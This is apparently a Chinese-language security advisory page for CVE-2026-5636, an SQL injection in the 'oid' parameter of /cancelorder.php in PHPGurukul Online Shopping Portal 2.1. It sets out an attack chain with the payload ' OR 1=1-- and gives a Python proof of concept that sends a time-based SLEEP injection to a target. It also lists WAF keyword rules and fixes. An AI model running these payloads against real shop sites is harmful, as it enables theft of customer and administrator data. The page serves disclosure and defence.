IPBUF安全漏洞报告
English
CVE-2026-5636 CVSS 6.3 中危

CVE-2026-5636 PHPGurukul电商系统SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-5636
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Online Shopping Portal Project

相关标签

SQL注入PHPGurukulWeb安全CVE-2026-5636远程代码执行中危漏洞

漏洞概述

PHPGurukul在线购物门户项目2.1版本中被发现存在一处严重的安全缺陷。该漏洞源于/cancelorder.php文件的参数处理组件未能正确过滤用户输入的'oid'参数,从而引发了SQL注入漏洞。由于系统缺乏足够的输入验证机制,攻击者可以通过网络远程发起攻击,操纵后端数据库查询。鉴于相关漏洞利用代码已被公开披露,建议管理员尽快采取措施以防范潜在的数据泄露风险。

技术细节

该漏洞位于PHPGurukul在线购物门户项目2.1版本的订单处理模块中,具体涉及文件/cancelorder.php。当系统处理用户取消订单的请求时,后端代码直接获取HTTP GET或POST请求中的'oid'(订单ID)参数。由于开发人员在编写参数处理逻辑时,未对该参数进行严格的类型校验或安全过滤,直接将其拼接到SQL查询语句中执行。这种不安全的编码方式导致了经典的SQL注入漏洞。根据CVSS向量分析,攻击需要低权限用户身份(PR:L),意味着攻击者可能需要先注册一个普通账户。一旦满足条件,攻击者便可在oid参数中插入恶意的SQL语法(如UNION SELECT或布尔盲注语句),欺骗数据库执行非预期命令。这可能导致绕过认证、窃取管理员凭据、泄露用户敏感信息(如姓名、地址、密码哈希),甚至破坏数据库数据的完整性和可用性。

攻击链分析

STEP 1
侦察
攻击者识别目标运行的是PHPGurukul在线购物门户项目2.1版本,并定位到/cancelorder.php接口。
STEP 2
获取访问权限
由于CVSS向量为PR:L(低权限),攻击者注册或使用一个普通用户账户登录系统。
STEP 3
漏洞利用
攻击者构造包含恶意SQL语句的请求(例如在oid参数中注入' OR 1=1--),将其发送给服务器。
STEP 4
执行命令与数据窃取
后端数据库执行注入的恶意SQL命令,返回敏感数据(如用户表、管理员密码),攻击者接收并解析响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): """ Proof of Concept for CVE-2026-5636 Tests the 'oid' parameter in /cancelorder.php for SQL Injection. """ target_endpoint = f"{url}/cancelorder.php" # Payload to test for time-based blind SQL injection # Adjust the sleep time based on network latency payload = "1' AND SLEEP(5)-- -" params = { "oid": payload } try: print(f"[+] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if the response time indicates a successful delay (SQL injection) if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based delay detected).") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": # Replace with the actual target URL target_host = "http://example-shop-site.com" check_sqli(target_host)

影响范围

PHPGurukul Online Shopping Portal Project 2.1

防御指南

临时缓解措施
建议立即在代码层面进行修复,对用户提交的oid参数进行强制类型转换,确保其为整数。若无法立即修改代码,应在Web应用防火墙(WAF)中部署规则,拦截针对/cancelorder.php的含有SQL关键词(如UNION, SELECT, SLEEP)的恶意请求,并加强后台数据库的访问日志审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表